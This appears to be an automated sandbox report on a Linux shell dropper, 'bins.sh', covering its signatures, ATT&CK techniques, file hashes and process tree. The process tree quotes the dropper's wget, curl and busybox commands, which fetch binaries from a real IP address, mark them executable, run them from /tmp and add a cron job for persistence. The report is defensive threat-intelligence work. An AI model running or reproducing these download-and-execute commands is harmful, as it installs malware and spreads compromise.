f5c6280c3983c239bf19b631fc87ab2890152c0a2006b38e0fd28149fcfdc131

Analysis

max time kernel
150s
max time network
180s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23-11-2024 23:17

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General

Target

bins.sh
Size

10KB
MD5

aecf915310e1b57ef84716e66275886b
SHA1

eaa2d293615be82294c26ce4ff7a6bce993a2ecb
SHA256

f5c6280c3983c239bf19b631fc87ab2890152c0a2006b38e0fd28149fcfdc131
SHA512

f892615bfb3e780d6e1e64bff72196a66fe9e933e68d91c63cda8b389afb37f7468f5ab14b3a326236b6f3087003b47f7465dd932ac592ecb3d8f0feb674e351
SSDEEP

96:sf/9QyowY9pP4c92aKRZeNNLQ12R8+4q92aKRZy3NNLQ1yYiB86xf/gFC7owY9py:CQyowY9pPr1R1owY9py

Score

9^/10

antivm defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2031) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmod

pid process

678 chmod
725 chmod
756 chmod

pid	process
678	chmod
725	chmod
756	chmod

Executes dropped EXE 3 IoCs

Processes:

pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgWmvjNh5YuNRsODD4d1gE8Eaurfe8IltW304dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

ioc	pid	process
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	679	pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	727	mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	757	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Renames itself 1 IoCs

Processes:

dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

pid process

758 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.cUGgCg crontab
Enumerates running processes
Discovers information about currently running processes on the system
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
antivm

System Checks
T1497.001

Processes:

curlcurlcurl

description ioc process

File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl
File opened for reading /proc/cpuinfo curl

pid	process
758	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.cUGgCg	crontab

description	ioc	process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

description	ioc	process
File opened for reading	/proc/815/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/833/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/924/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/939/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/954/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/989/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/281/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/302/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/818/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/899/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/977/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1051/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/109/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/641/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/790/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/849/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/591/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/634/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/284/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/783/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1017/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/29/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/170/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/147/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/813/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/824/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/904/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/909/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1021/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/12/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/6/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/955/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/829/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/880/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/917/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1010/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1040/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/9/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/25/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1055/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/945/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/959/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/886/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/895/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/907/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/946/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/808/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/866/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/112/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/786/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/854/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/921/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/933/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1000/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/11/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/16/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/887/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1032/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/812/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/825/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/1001/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/879/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
File opened for reading	/proc/979/cmdline	dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlbusyboxwgetcurlbusyboxwgetbusyboxwgetcurl

description	ioc	process
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	curl
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	busybox
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	wget
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	curl
File opened for modification	/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304	busybox
File opened for modification	/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	wget
File opened for modification	/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	busybox
File opened for modification	/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW	wget
File opened for modification	/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:642
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:645
- /usr/bin/wget
  wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:649
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:670
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - File and Directory Permissions Modification
  PID:678
- /tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  ./pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  - Executes dropped EXE
  PID:679
- /bin/rm
  rm pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW
  2⤵
  PID:682
- /usr/bin/wget
  wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:683
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:701
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Writes file to tmp directory
  PID:718
- /bin/chmod
  chmod 777 mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - File and Directory Permissions Modification
  PID:725
- /tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  ./mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  - Executes dropped EXE
  PID:727
- /bin/rm
  rm mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304
  2⤵
  PID:729
- /usr/bin/wget
  wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Writes file to tmp directory
  PID:730
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:735
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Writes file to tmp directory
  PID:749
- /bin/chmod
  chmod 777 dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  ./dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:757
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:760
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:761
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:763
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:764
- /bin/rm
  rm dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc
  2⤵
  PID:772
- /usr/bin/wget
  wget http://216.126.231.240/bins/j3N1aqKpI3Cm9m51UJnkLt9lMtV0oqSBXl
  2⤵
  PID:775

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/dFu39kgr9oOWDkRB6iv5PdFHhXEUJdzioc

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/mvjNh5YuNRsODD4d1gE8Eaurfe8IltW304

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/pzfaNGDWYxSw82WQPlTMY5jLAvCRIiDjgW

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.cUGgCg

Filesize
210B

MD5
ae4b2ea076680286d7a871ac623a6efb

SHA1
dc209aba7ff91e27b329591cead4a18b0f72b584

SHA256
b78e8b2681eb6680f4938cbb433603ac0ce1c080d99f43a201085c898fefbbcd

SHA512
4ce0348a19f3aa08f9e494c9d5154994810689444bbebd3f5c7641d4f7aec6d211fe06742f119a6d1ac13606f66ae077c4a12344d282440a5d1ff7f9aabdc9bd

Download Submit